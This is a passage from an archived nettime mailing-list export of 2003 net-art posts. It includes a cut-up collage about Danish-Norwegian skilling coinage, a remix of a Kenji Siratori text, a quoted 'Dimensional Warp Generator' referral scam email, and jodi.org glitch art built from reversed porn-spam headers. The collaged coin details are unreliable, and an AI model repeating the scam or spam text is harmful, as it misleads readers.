Trndelagsutstillingen\n20 kroner 1995, 1999, 2 skilling courant 1810, Obverse -, Cypher of\nCOURANT 18 (Crossed hammers) 10 *. Size, 28 mm. Last Modified 2 skilling\n1803. 2 skilling 1803. 2 Shilling Courant 5 Shilling Courant. 124 del\nansttes i fuld porto af 6 RBS (2 skilling courant) pr. Durch die Mnzreform\ncourant: = 4 ort = 96 Speciedaler: = 5 ort = 120 skilling (1816-1873).\n(aka: aureeyri): = 18 mark = 2 skilling = 3 ertoger Siden det ikke fantes\npreget en mynt med verdi 1 Rigsdaler Courant, den skalte 2 skilling mnt\nmed plydende 2 skilling dansk skulle 149, 0z4, 269, x 1 Pfenning\nskibspostkasse skibsstempel skiftebehandling af ddsbo skilling courant\nskilling kurant P myntet str 2 skilling courant 1810 eller19, och p\nskilling (= 18 daler kopparmynt i sedlar 2 skilling courant 1836 indfrte\nlavere nominaler, 2, 3 og 4 skilling (Hede 3224 speciedalere af slv (Hede\n16) med indskriften: 2 SCHILLING SCHLESW.HOLST COURANT. skilling courant\n(447.91 tusinddele). Deres vrdi var dengang 8 23, 9 38 og 9 34 skilling\nAvailable now. 2000 PRICE SEK 155:-. 2 skilling 1648 1?1 95:- sold 2 daler\nsm courant = 32 re i1 riksdaler = 48 skilling (= 18 daler kopparmynt =1869\nSovereigns (), 20 Shillings (s.)  pls chers d Monde ! Le 3 skilling 11 880\n000 FF ! 2 skilling corant Drch die Mnzreform von 1813 trat der krone, 1\nskilling til 4 11 25 re.daler in specie (mynt med fll slvverdi)\nRigsdalerrigsdaler - 5 mark - 8 skilling; skriver halvfemsindstyve og ni\nrigsdaler fem mark og otte skilling dansk corant, som han Inddragelsen af\ndelt i 48 skilling, deretter iin specie, motsatt krantdaleren, rigsdaler\ncorant.brkades aldrig p mynten, tan i stllet delar av skillingen (allts\n12, 14 skilling etc In general 1 Dcat was eqal to 2 Speciedaler, 3 Krone,\ncollapsed in 1813, making its Norge. Frederik III, 1 skilling 1649 11+ 45\nstiver 1791 1 30 136. 2 skilling corant 3 Silbergroschen, eller Christian\nVII, 2 skilling 1786 1+ 50 30. - Frederik VI, 2 skilling corant 1810 11+\n25 31. - Karl XIV Johan, skilling 1840 11+ 15 32. 65 13 verdi. En daler i\nsmmynt (corant, dvs. omlpendeel. 120 skilling. Fra 1813 1776} riksdaler\ncorant 6 mark(11802 - 1834} riksdaler banko 48 skilling 4 riksdaler = 48\nskilling (= 18 daler kopparmynt i sedlar 2. The Real Enron carolin, tidiga\ntransportsedlar. 10 skilling koppar, 1803. two skilling parallel with\ndaler and skilling, one rixdollar Consmer Spending Shows 1776} riksdaler\ncorant 6 mark1) {1664 - 1776} riksdaler 48 skilling 4 re technology\ntransfer can reslt in hman capital skilling.development is the notes didof\n2, 3 and 4 shillings (skilling), and anTwo factors served to alleviate\nthis problem to some extent. two skilling corant 51361 C 177 2sk (Danish)\nskilling, by origin thanks to weather delays that kept them off two\nskilling corant America one year later (Hartford Corant) Response skilling\ncorant way to enjoy the Sydney Film Festival is to by a two-week 4, 2003\nSammy Sosa and the introdction of GE&#39;s mlti-skilling rotinized\nde-skilling and higher two skilling corant Believe it or not, ofprobably\nless: rotinized de-skilling and higher on the Board of Trstees and\nre-skilling processes.\n\n\n___\n\n\nFrom: \"Kenji Siratori\" <white-b {AT} d4.dion.ne.jp>\nTo: \"nettime\" <nettime {AT} bbs.thing.net>\nSubject: pig: kenji siratori (remix by alan sondheim)\nDate: Fri, 27 Jun 2003 03:21:49 +0900\n\nPIG\nKenji Siratori\n\n\nhorizon=of which was selected to the gear of the brain of the angel that is\ncrushed to eye of the cramp target=vs=disillusionment of the machine=magma\nthat the image of the placenta becomes in the basement of the sun f the sigh\nthat turned pale to the body of etc of the embryo that I invaded cadaver\ncity=of where it was interchanged=ant*suicide*the ants of f laugh to the\nfresh blood of the chromosome that my etc is suffocated to the sun*murderous\nintention of the disgrace*eyeball instigated: er_pted///drug=of the nebula\nof the chaosmos/1 gram of suspension of my brain cell that the hearing\nimpossible other selfs of an embryo)) rhythm of BABEL-ism brain of my junkie\ngimmicks-dogs of the embryos from=evaporate the ocean! neutron=of DIGITAL of\nan embryo desire=chromosome of wolf=I deceived air: melody of the murder of\nthe sun that was eroded the drug with the aerofoil///with 8 embryos who my\nstorage shed the tears machine that write off the horizon of air with the\ngimmick gene=TV of the synapse///the sun was turned on-out of the\nstratosphere that the brain of the fatalities that I love was discharging\n1/8 placentas of the disillusionment that interchange to the hell of the\ncell=of=the earth of battle that was seen is loved to the back of the eyelid\nof the embryo///the murder love....off-set.\n\n\n\npig of you\nremix by Alan Sondheim\n\n\nhello kenji how are you. i am fine.\n\nhello kenji how are you. i am fine.\n\nis that angel the of brain the of gear the to selected was which horizon=of\nab\nbc\ncd\nde\nef\nfg\ngh\nhi\nij\nlm\nno\nop\nrs\nst\nwonderful weather today\nwx\nza\nmachine=magma the of target=vs=disillusionment cramp the of eye to crushed\nab\ncd\nde\nef\nfg\ngh\nhi\nij\nlm\nmn\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\nvw\nyz\nsigh the f sun the of basement the in becomes placenta the of image the that\nab\nbc\ncd\nef\nfg\ngh\nhi\nij\nlm\nmn\nno\nop\npq\nst\nwonderful weather today\nuv\ncadaver invaded I that embryo the of etc of body the to pale turned that\nab\nbc\ncd\nde\nef\nfg\nhi\nij\nlm\nmn\nno\nop\npq\nrs\nwonderful weather today\nuv\nvw\nyz\nthe to laugh f of ants interchanged=ant*suicide*the was it where city=of\nab\ncd\nde\nef\nfg\ngh\nhi\nij\nlm\nno\nop\nrs\nst\nwonderful weather today\nuv\nwx\nyz\nsun*murderous the to suffocated is etc my that chromosome the of blood fresh\nab\nbc\ncd\nde\nef\nfg\nhi\nij\nlm\nmn\nno\nop\nrs\nst\nwonderful weather today\nuv\nyz\nnebula the pted///drug=of er instigated: disgrace*eyeball the of intention\nab\nbc\ncd\nde\nef\nfg\ngh\nhi\nij\nlm\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\nyz\nhearing the that cell brain my of suspension of gram chaosmos/1 the of\nab\nbc\ncd\nef\nfg\ngh\nhi\nij\nlm\nmn\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\nyz\njunkie my of brain BABEL-ism of rhythm embryo)) an of selfs other impossible\nab\nbc\nef\nfg\nhi\nij\njk\nkl\nlm\nmn\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\nyz\nhello kenji how are you. i am fine.\n\nof DIGITAL neutron=of ocean! the from=evaporate embryos the of gimmicks-dogs\nab\nbc\ncd\nde\nef\nfg\ngh\nhi\nij\nkl\nmn\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\nvw\nyz\nof murder the of melody air: deceived wolf=I of desire=chromosome embryo an\nab\nbc\ncd\nde\nef\nfg\nhi\nij\nlm\nmn\nno\nop\nrs\nst\nwonderful weather today\nuv\nvw\nwx\nyz\nmy who embryos 8 aerofoil///with the with drug the eroded was that sun the\nab\nbc\nde\nef\nfg\ngh\nhi\nij\nlm\nmn\nno\nop\nrs\nst\nwonderful weather today\nuv\nwx\nyz\nthe with air of horizon the off write that machine tears the shed storage\nab\ncd\nde\nef\nfg\ngh\nhi\nij\nmn\nno\nop\nrs\nst\nwonderful weather today\nwx\nza\nthe of on-out turned was sun synapse///the the of gene=TV gimmick\nab\ncd\nde\nef\nfg\ngh\nhi\nij\nkl\nmn\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\nwx\nyz\ndischarging was love I that fatalities the of brain the that stratosphere\nab\nbc\ncd\nde\nef\nfg\ngh\nhi\nij\nlm\nno\nop\npq\nrs\nst\nwonderful weather today\nvw\nwx\nthe of hell the to interchange that disillusionment the of placentas 1/8\nab\ncd\nde\nef\nfg\ngh\nhi\nij\nlm\nmn\nno\nop\npq\nrs\nst\nwonderful weather today\nuv\neyelid the of back the to loved is seen was that battle of earth cell=of=the\nab\nbc\ncd\nde\nef\nfg\nhi\nij\nkl\nlm\nno\nop\nrs\nst\nwonderful weather today\nvw\nwx\nyz\nlove....off-set. murder embryo///the the of\nbc\nde\nef\nfg\nhi\nlm\nmn\nop\nrs\nst\nwonderful weather today\nuv\nvw\nyz\nhello kenji how are you. i am fine.\n\n\n\n==\nwild output: http://www.kenjisiratori.com\n\nKenji Siratori\n\n\n\n\n\n\n\nDate: Fri, 4 Jul 2003 13:03:04 +0200\nFrom: <>\nTo: o-o {AT} konf.lt\nSubject: blog?\n\n\n\n\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" bgcolor=\"#ffFFff\">\n  <tr> \n    <td> <pre><font color=\"#FF0000\" size=\"1\">####################\n########    ########\n#######      #######\n##1,1### +. ###1=+##\n##     #1: :#     ##\n#    ;  ;  =  .    #\n###: :##;  :##: ,1##\n######;  =1  =######\n####   , +# .   ####\n###:     ##      ###\n####0   ####   #####\n####################\n</font></pre>    </td>\n  </tr>\n</table>\n\n\n\n\nhttp://jimpunk.blogspot.com/\n\n\n\n\nDate: Thu, 3 Jul 2003 10:34:47 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nbecause i'm worth it\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<*>        *        </*>\n\n\n\nDate: Sun, 6 Jul 2003 22:45:21 +0100\nFrom: Morrigan Nihil <morrigan_nihil {AT} YAHOO.CO.UK>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: extended warranty\n\neverything fucking breaks\n\n\n\n\n\nnettime unstable digest vol 54\nMon Jul  7 12:42:00 2003\n\n\nSubject: Demain les machines pleureront\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: Codeworld [by Alan Sondheim]\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: RHZOMES 6: CODEWORK / SURVEILLANCE (fwd)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: TEMPLATES.FOR.A.CHOREOGRAPHY\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: a subjective definition\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: .ase  pR.i.\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: red belly\n    From: phaneronoemikon <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  This is the subject of the text\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\n\nSubject: Re: LUTE-BOOK-MOTHER\n    From: phaneronoemikon <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: 2 skilling courant\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: pig: kenji siratori (remix by alan sondheim)\n    From: \"Kenji Siratori\" <white-b {AT} d4.dion.ne.jp>\n    To: \"nettime\" <nettime {AT} bbs.thing.net>\n\nSubject: blog?\n    From: <>\n    To: o-o {AT} konf.lt\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: extended warranty\n    From: Morrigan Nihil <morrigan_nihil {AT} YAHOO.CO.UK>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 7 Jul 2003 12:53:50 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200307072046.h67KkFq16957 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0307/msg00036.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 54"
            },
            {
                "id": "00002",
                "content": "\n\n\nFrom: \"\" <rice {AT} aednet.net>\nDate: Thu Jun 26, 2003  01:49:00  PM America/Montreal\nTo: <webmaven {AT} i2eye.com>\nSubject: Dimensional Warp Generator Needed h za ul\n\nGreetings,\n\nWe need a vendor who can offer immediate supply.\nI'm offering $5,000 US dollars just for referring a vender which is\n(Actually RELIABLE in providing the below equipment) Contact details\nof vendor required, including name and phone #. If they turn out to be\nreliable in supplying the below equipment I'll immediately pay you\n$5,000. We prefer to work with vendor in the Boston/New York area.\n\n1. The mind warper generation 4 Dimensional Warp Generator # 52 4350a\nseries wrist watch with z60 or better memory adapter. If in stock the\nAMD Dimensional Warp Generator module containing the GRC79 induction\nmotor, two I80200 warp stabilizers, 256GB of SRAM, and two Analog\nDevices isolinear modules, This unit also has a menu driven GUI\naccessible on the front panel XID display. All in 1 units would be\ngreat if reliable models are available\n\n2. The special 23200 or Acme 5X24 series time transducing capacitor\nwith built in temporal displacement. Needed with complete\njumper/auxiliary system\n\n3. A reliable crystal Ionizor with unlimited memory backup.\n\nIf your vendor turns out to be reliable, I owe you $5,000.\n\nEmail his details to me at: info {AT} federalfundingprogram.com\n\nPlease do not reply directly back to this email as it will\nonly be bounced back to you.\n\n\n\ndisplacementkyktndgwjbzoksirb hz bb\n\n\n\n\nDate: Tue, 24 Jun 2003 23:49:42 +0200\nTo: rohrpost {AT} mikrolisten.de\nFrom: 404 <404 {AT} jodi.org>\nSubject: rohrpost {AT} mikrolisten.de\t1 \tto: <3D9DDB1E.D65B442B {AT}  \n\n--===============96796080865625234==\n\n  rohrpost {AT} mikrolisten.de\t1\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/  rohrpost {AT} mikrolisten.de\t1\n\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/ -tune the an\nXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%c\nnmvaskvhfshfXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%\ncnmvaskvhfshfsakhajsvfsaXXBIenNLe-dVVEnnegTTiiAk------&%cnmvaskvhfshfsakhajsvfsa\nsakhajsv\nXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%c\nnmvaskvhfshfsakhajsvfsaXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascf\nKHGLGHasc&%c       Try the advanced options to fine-tune the anagram\nresults.nmvaskvhfshfsakhajsvfsaXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssas\nSJGHascfKHGLGHasc&%c nmvaskvhfshfsakhajsvfsa\nXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%c\nnmvaskvhfshfsakhajsvfsafsa\nXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%c\nnmvaskvhfshfsakhajsvfsa\nXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%c\nnmvaskvhfshfsakhajsvfsa\nXXBIenNLe-dVVEnnegTTiiAk------BsIsTsdCRssOMssssasSJGHascfKHGLGHasc&%c\nnmvaskvhfshfsakhajsv rohrpost-request {AT} mikrolisten.de\t10/10/02\t1\nRe: Rohrpost -- confirmation of subscription 404 {AT} jodi.org\n rohrpost {AT} mikrolisten.de\t1\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10 2\n rohrpost {AT} mikrolisten.de\tTuesday\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesda ely  sri     t oh      o   e\nt          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/\t15\tRfeeeeeeee: [Neeeeee\n rohrpost {AT} mikrolisten.de\tTuesday\t205\t- -- -  ___       -RRh \nE         -oot  n   hht  d   \n rohr Tuesd             4444444444444444n.asu {AT} acalsreyemelba< :htaP-nruteR  44\n                 444 oc.ten.qapoevid.etnereg( ten.asu morf :deviece4\n                4           ))degrof eb yam( ]031.76.13.002[       44\n  ta.lis.idoj y44                                                   4\n )3.11.8/3.14444         4444                                      4\n   di PTMS h4iw              444                              44444\n  ;19832KJ0449g                44                               44\n 2002 tcO 444,noM                                                 4\n  0020+ 02:04411                                              44444\n             444  moc.olapto.10wx-ylr yb ]901.57.87.65[ morf :444ieceR\n               44      0070- 52:93:61 2010 tcO 41 ,noM ;ptmsa hti4\n                44 moc.enilrednurepus-los.221sa.001ysa morf :devi4ceR\n                  4                 )]412.6.991.79[(        444444\n        yb        44                                           4\noohayuh.spuorg.9n  4444                                    44444\n ;PTMS htiw moc.      44                    444444            44\n   2010 tcO 41         4                    4     4            4\n  0030+ 35:73:90       4         4                 444         4\n                      44    yb 4412.94.57.79[ morf :de44eceR4444\n                     4410 tc4441 ;PTMS htiw moc.elamtset4oh.4wal446f\n                   444     4         0040- 12:63:21      44      4\n                4444      4>ten.asu {AT} acalsreyemelba< :oT-yl44444444\n             4444  >tdliu4 {AT} 6cb44ab1$0b3d5574$a6d84a42a600< :44-egasseM\n            44           4   >44n.asu {AT} acal444yemelba< :morF 4 4\n         4444            4    44   >gro   o44404< :oT       4  4\n        44         ,>g  .4d j {AT} x4dni< , g    d44444icamerpusr4by4< :cC\n      444                 44   4444  >gro.idoj4nao4444444444   4\n      4                     4444ero44g yssup 44rf :tcej44S  444\n      4                   0001+ 15:9144444444 tcO 31 ,nuS444taD\n      4                             0.1 :noisreV-EMiM     4\n       444                   ;dexim/trapitlum :epyT-tne4444\nN_=----\"=444dnuob                                      44 44\n_4A00_000_t4444xe                                       444 4\n58E5585A.E3D50444                                            44\n        \"       44                                             4\n                 444             )lamroN( 3 :ytiroirP-X 444444 4\n                    444         lamroN :ytiroirP-liaMSM-444  44\n                   0444.3314.05.5 sserpxE kooltuO tfosorciM44re4iaM-X\n                     44            lamroN :ecnatropmI           44\n                    44                   :sutatS                  4\n                   44                                             4\n                  44                      dalg                   4\n                 44 !etisrepuS tludA eerF yletulosbA tsriF sdlro44ehT\n                 4  a htiw yfirev uoy ekam neve TON od eW ,e4444%001\n               44                     .draC tiderC   44 44444\n               4     soediv evil eerF  !erocdraH dna 4444gmaerD eerF\n               4                                        44\n               4              lmth.efas/7.922.201.66//:pt44\n              4                                            44\n              44  dnarb a gnicudortni era eW !niaga nrop rof4yap reveN\n               44   EERF yletulosba na - tenretni eht no tp44noc wen\n                4  dilav a retne dna ereh kcilc tsuJ .E44444PUS TLUDA\n                44  .pihsrebmem emitefil eerf ruoy444444serdda liame\n                  4                                4 4\n                  444444          -sotohP XXX +000,05444\n                       4444                             4\n                           4 -tceleS oT seirogoetaC 05 r4vO-\n                           44                           4\n                            4  -soediV gnimaertS 000,5244\n                        44444                        444\n                     4444          -sdeeF oediV eviL-4\n                   444                             444\n                  4              - tahC htiw slriG 4viL-\n                  4            -sratsnroP suomaF 444ulcnI-\n                  4serdda liame dilav a retne dna44oleB knil eht tisiV\n       >moc.oohay {AT} htlaehruoy< :oT-ylpeRetrats teg4444\n           >moc.oohay {AT} htlaehruoy< :morF             4\n                     >gro.idoj {AT} 404< :oT/7.922.201.66444ptth\nxedni< ,>gro.idoj {AT} tsicamerpusrebyc< :cC               44\n                     >gro.idoj {AT} idoj<   /7.922.201.66//:4tth\n revE xeS tseB ehT evaH :nemoW :tcejbuS                444\n  0001- 92:74:71 2002 tcO 13 ,uhT :etaD                  4\n                      0.1 :noisreV-EMiM                  44\n                 )lamroN( 3 :ytiroirP-X   dalg           44\n                     lamroN :ecnatropmIs gniwollof eht ti4iv esaelP\n                                       omer/6.922.201.4444:ptth\n                                          dalg        4\nG4412UzfS149-4SFqz4846drc   6-6LQQR1206G7 2-1cHcu610444Ai276-4egpJ9926\n                                    l90Xj g477-6tWRj408\n                                                    4\noW yB nemoW roF l   xam lC l      w                 44\n                                                     4\namilC dengised yl a cep  a  i                        44\no erotser ,ec eir  xe             n                   4\n                                   ae                 4\n                                                      4\nrahP etihW ro yaT y         fu                        4\nlaeh lauxes fo reru ca  na         em                44\n                                      d             44\n                                                  444\nt yb dednemmocer dna de            h tI          44\n lauxes a sa esu rof y ila xeS n muH fo        444\nemmocer a htiw dehsiug its d si o la tI        4\n                .stsi oloxe  fo                4\n                                               44\ntcejbus?nc.ten.liama   aidem    otl am          4\noitamrofnI eroM teG  T ereH kc                   4\n         44                                      4\n        4                    ai      e           44\n       4                                          4\n  AC ,d4bsl4444444 r am ,7  de a                  4\nr syaw4a s4444w 4444 M a    dna suh  M           44\n emit 4s444 4ht ro444na l   xami   s h          44\n      44 4 4\".mih f44  eh   lttil              44\n      44 4 4       444                         4\n ,se444444444 ,decr444  ,84                   4\net44r44ni444 4ev444444l ow I thguoh  I        4\n  4  4    444 4.44444ecn  wen a dni   m       44\n  4 4 4    444444444                           4\n  4H4,u4uhaK4,d4g4gne ,344dega                44\n444444444agr4 o4 sem4444444444f               4\n4  444   4444 4444444444444444\nP44a4h4444444444444444444444 de      aM\nno4444444444444444444uo4des4er n  s'  \"\n  44444444444444444444444x4s  etteb\n     4           4       44\n ,dnal4I gnoL ,e g4444444      ,euq no\ntasnes 4imsagro  o4ebut    k   si s tI\nettam a 444ysats44 4o e at       sdu\n           444444r44no  hcum      dlu\n              4444\ntcejbus?nc.ten4liamat444444       li  <\noitamrofnI eroM44eG 4 444eH4                   4444\n                 444444   44                       4\n                  444444444s rag                    4\n     4  44           4444         44                 44\n    44  4                444444444       4             4\n    4 44                        4444444444444          4\nsid4rh4A w    g                444444 44444             4\n   4  4                              4444444444444444    4\n d4orp4si .cnI ,s aca r h               44444444444       4\na 4etne44 od n eb sah hc     a                            4\nS n4muH f4 ydu S d cna d      e                           4\nts 4cnetop444444444        e    d                         4\ncnei4epxe laux  44                               4        4\n    4           4                               44       4\noleb 4cilc esaelp44noitamrofn                   4        4\n    444            444444                      4        4\ntcej4us44c.ten.liamatb {AT} a444444444tliam<                4\n   e4ael444oitamrofnI eroM>!ca s4444444              444\n     4    444                          4444  44444444\n      444   44444                          444\n         444    44\n.deticilos44 tnes 44444444      em sihT\nerom rof d444a ylsuoiv 444uoy n    tsil\n ruoy taht le444444444.srentr     i   w\nutuf gniviecer 4o tuo-444444444444444o\nbus?nc.ten.liama4444suomytre      l4444\n               .dnes4444444a     >!ts\n                           4444                     44\n                               44444444       4444444\n                                       4444444\nV8607nLBD308-3oOjN9670lmRG661-6cviO9338\n\n                                 44444444444444444\n                              444\n                           444\n                         44\n                      444\n                   444\n                  4\n                 4\n               44\n              4\n              4\n             4\n             4\n            4\n            4\n            4\n            4\n            4\n            4\n             4\n              4\n               4\n                4\n                 44\n                   44\n                     44\n                       44\n                         444\n                            44444\n                                4444\n                                   4\n                                   44\n                                    4\n4\nay\t148\n hrpo        neind {AT} snich        neind {AT} snichttst {AT} mikrolis       \nneind {AT} snic        neind {AT} snichthtten.de\tTuesday\t46\t {AT} \n st {AT} mikro\tTues        neind {AT} snicht        neind {AT} snichtday\t103\tR\nRHoZ snicht        neind {AT} snichtRe DoGReST: DRec      \n \t(Normaliff M\n        neind {AT} snicht\n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                         